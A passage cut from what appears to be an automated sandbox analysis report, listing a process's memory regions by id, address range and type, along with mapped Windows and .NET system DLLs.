"private_0x000000001afc0000" filename = "" Region: id = 3739 start_va = 0x7ffaa2c70000 end_va = 0x7ffaa2c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2c70000" filename = "" Region: id = 3740 start_va = 0x880000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 3741 start_va = 0x880000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 3742 start_va = 0x880000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 3743 start_va = 0x880000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 3744 start_va = 0x880000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 3745 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3746 start_va = 0x8a0000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 3747 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 3748 start_va = 0x8d0000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 3749 start_va = 0x880000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 3750 start_va = 0x880000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 3751 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3752 start_va = 0x880000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 3753 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3754 start_va = 0x880000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 3755 start_va = 0x880000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 3756 start_va = 0x880000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 3757 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3758 start_va = 0x8a0000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 3759 start_va = 0x880000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 3760 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3761 start_va = 0x8a0000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 3762 start_va = 0x880000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 3763 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3764 start_va = 0x8a0000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 3765 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 3766 start_va = 0x8d0000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 3767 start_va = 0x8e0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 3768 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 3769 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 3770 start_va = 0x1ac00000 end_va = 0x1ac0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac00000" filename = "" Region: id = 3771 start_va = 0x1ac10000 end_va = 0x1ac1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac10000" filename = "" Region: id = 3772 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 3773 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 3774 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 3775 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 3776 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 3777 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 3778 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 3779 start_va = 0x1b0c0000 end_va = 0x1b0dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0c0000" filename = "" Region: id = 3780 start_va = 0x840000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000840000" filename = "" Region: id = 3781 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 3782 start_va = 0x870000 end_va = 0x87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 3783 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 3784 start_va = 0x1b0e0000 end_va = 0x1b0effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0e0000" filename = "" Region: id = 3785 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 3786 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 3787 start_va = 0x7ffaa2c80000 end_va = 0x7ffaa2c8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2c80000" filename = "" Region: id = 3788 start_va = 0x840000 end_va = 0x84ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000840000" filename = "" Region: id = 3789 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 3790 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 3791 start_va = 0x840000 end_va = 0x84ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000840000" filename = "" Region: id = 3792 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 3793 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 3794 start_va = 0x870000 end_va = 0x87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 3795 start_va = 0x880000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 3796 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3797 start_va = 0x8a0000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 3798 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 3799 start_va = 0x8d0000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 3800 start_va = 0x8e0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 3801 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 3802 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 3803 start_va = 0x840000 end_va = 0x87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000840000" filename = "" Region: id = 3804 start_va = 0x880000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 3805 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3806 start_va = 0x8a0000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 3807 start_va = 0x7ffb03070000 end_va = 0x7ffb03191fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Configuration\\2fe311002b76e58f2f89f897a32b62a2\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.configuration\\2fe311002b76e58f2f89f897a32b62a2\\system.configuration.ni.dll") Region: id = 3808 start_va = 0x7ffafdf80000 end_va = 0x7ffafe825fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\c2f35cb9621b8ca33a05759bbb0683c1\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.xml\\c2f35cb9621b8ca33a05759bbb0683c1\\system.xml.ni.dll") Region: id = 3809 start_va = 0x7ffb1fea0000 end_va = 0x7ffb1fea7fff monitored = 0 entry_point = 0x7ffb1fea10b0 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 3810 start_va = 0x880000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 3811 start_va = 0x880000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 3812 start_va = 0x880000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 3813 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3814 start_va = 0x8a0000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 3815 start_va = 0x880000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 3816 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3817 start_va = 0x8a0000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 3818 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 3819 start_va = 0x8d0000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 3820 start_va = 0x8e0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 3821 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 3822 start_va = 0x7ffb1e310000 end_va = 0x7ffb1f86efff monitored = 0 entry_point = 0x7ffb1e4711f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 3823 start_va = 0x7ffb1ced0000 end_va = 0x7ffb1cf12fff monitored = 0 entry_point = 0x7ffb1cee4b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 3824 start_va = 0x7ffb1c880000 end_va = 0x7ffb1cec3fff monitored = 0 entry_point = 0x7ffb1ca464b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 3825 start_va = 0x7ffb1d320000 end_va = 0x7ffb1d3d4fff monitored = 0 entry_point = 0x7ffb1d3622e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 3826 start_va = 0x7ffb1c800000 end_va = 0x7ffb1c84afff monitored = 0 entry_point = 0x7ffb1c8035f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 3827 start_va = 0x7ffb1c7d0000 end_va = 0x7ffb1c7e3fff monitored = 0 entry_point = 0x7ffb1c7d52e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3828 start_va = 0x880000 end_va = 0x880fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000880000" filename = "" Region: id = 3829 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3830 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3831 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3832 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3833 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3834 start_va = 0x7ffb1c660000 end_va = 0x7ffb1c688fff monitored = 0 entry_point = 0x7ffb1c674530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 3835 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3836 start_va = 0x8a0000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 3837 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 3838 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3839 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3840 start_va = 0x8a0000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 3841 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 3842 start_va = 0x8d0000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 3843 start_va = 0x8e0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 3844 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 3845 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 3846 start_va = 0x1ac00000 end_va = 0x1ac0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac00000" filename = "" Region: id = 3847 start_va = 0x1ac10000 end_va = 0x1ac1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac10000" filename = "" Region: id = 3848 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 3849 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 3850 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3851 start_va = 0x7ffb1c450000 end_va = 0x7ffb1c47cfff monitored = 0 entry_point = 0x7ffb1c469d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3852 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3853 start_va = 0x8a0000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 3854 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3855 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3856 start_va = 0x8a0000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 3857 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3858 start_va = 0x8a0000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 3859 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 3860 start_va = 0x1b0c0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0c0000" filename = "" Region: id = 3861 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3862 start_va = 0x1b1c0000 end_va = 0x1b589fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1c0000" filename = "" Region: id = 3881 start_va = 0x1b1c0000 end_va = 0x1b595fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1c0000" filename = "" Region: id = 3882 start_va = 0x1b1c0000 end_va = 0x1b591fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1c0000" filename = "" Region: id = 3883 start_va = 0x1b1c0000 end_va = 0x1b58cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1c0000" filename = "" Region: id = 3884 start_va = 0x1b1c0000 end_va = 0x1b587fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1c0000" filename = "" Region: id = 3885 start_va = 0x1b1c0000 end_va = 0x1b586fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1c0000" filename = "" Region: id = 3886 start_va = 0x1b1c0000 end_va = 0x1b588fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1c0000" filename = "" Region: id = 3887 start_va = 0x1b1c0000 end_va = 0x1b594fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1c0000" filename = "" Region: id = 3888 start_va = 0x1b1c0000 end_va = 0x1b586fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1c0000" filename = "" Region: id = 3889 start_va = 0x1b1c0000 end_va = 0x1b58cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1c0000" filename = "" Region: id = 3890 start_va = 0x1b1c0000 end_va = 0x1b587fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1c0000" filename = "" Region: id = 3891 start_va = 0x1b1c0000 end_va = 0x1b594fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1c0000" filename = "" Region: id = 3892 start_va = 0x1b1c0000 end_va = 0x1b58bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1c0000" filename = "" Region: id = 3893 start_va = 0x1b1c0000 end_va = 0x1b592fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1c0000" filename = "" Region: id = 3894 start_va = 0x1b1c0000 end_va = 0x1b594fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1c0000" filename = "" Region: id = 3895 start_va = 0x1b1c0000 end_va = 0x1b58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1c0000" filename = "" Region: id = 3896 start_va = 0x1b1c0000 end_va = 0x1b2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1c0000" filename = "" Region: id = 3897 start_va = 0x840000 end_va = 0x84ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000840000" filename = "" Region: id = 3898 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 3899 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 3900 start_va = 0x870000 end_va = 0x87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 3901 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3902 start_va = 0x8a0000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 3903 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 3904 start_va = 0x8d0000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 3905 start_va = 0x8e0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 3906 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 3907 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 3908 start_va = 0x1ac00000 end_va = 0x1ac1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac00000" filename = "" Region: id = 3909 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 3910 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 3911 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 3912 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 3913 start_va = 0x840000 end_va = 0x847fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 3914 start_va = 0x7ffaa2c90000 end_va = 0x7ffaa2c9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2c90000" filename = "" Region: id = 3915 start_va = 0x7ffaa2ca0000 end_va = 0x7ffaa2caffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2ca0000" filename = "" Region: id = 3916 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 3917 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 3918 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 3919 start_va = 0x870000 end_va = 0x87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 3920 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3921 start_va = 0x8a0000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 3922 start_va = 0x7ffb02f10000 end_va = 0x7ffb0306efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\2b17cdd44210c6b182c3804d228caba4\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.management\\2b17cdd44210c6b182c3804d228caba4\\system.management.ni.dll") Region: id = 3923 start_va = 0x7ffaa2cb0000 end_va = 0x7ffaa2cbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2cb0000" filename = "" Region: id = 3924 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 3925 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 3926 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 3927 start_va = 0x870000 end_va = 0x87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 3928 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3929 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 3930 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 3931 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 3932 start_va = 0x870000 end_va = 0x87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 3933 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3934 start_va = 0x8a0000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 3935 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 3936 start_va = 0x8d0000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 3937 start_va = 0x8e0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 3938 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 3939 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 3940 start_va = 0x1ac00000 end_va = 0x1ac0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac00000" filename = "" Region: id = 3941 start_va = 0x1ac10000 end_va = 0x1ac1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac10000" filename = "" Region: id = 3942 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 3943 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 3944 start_va = 0x870000 end_va = 0x87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000870000" 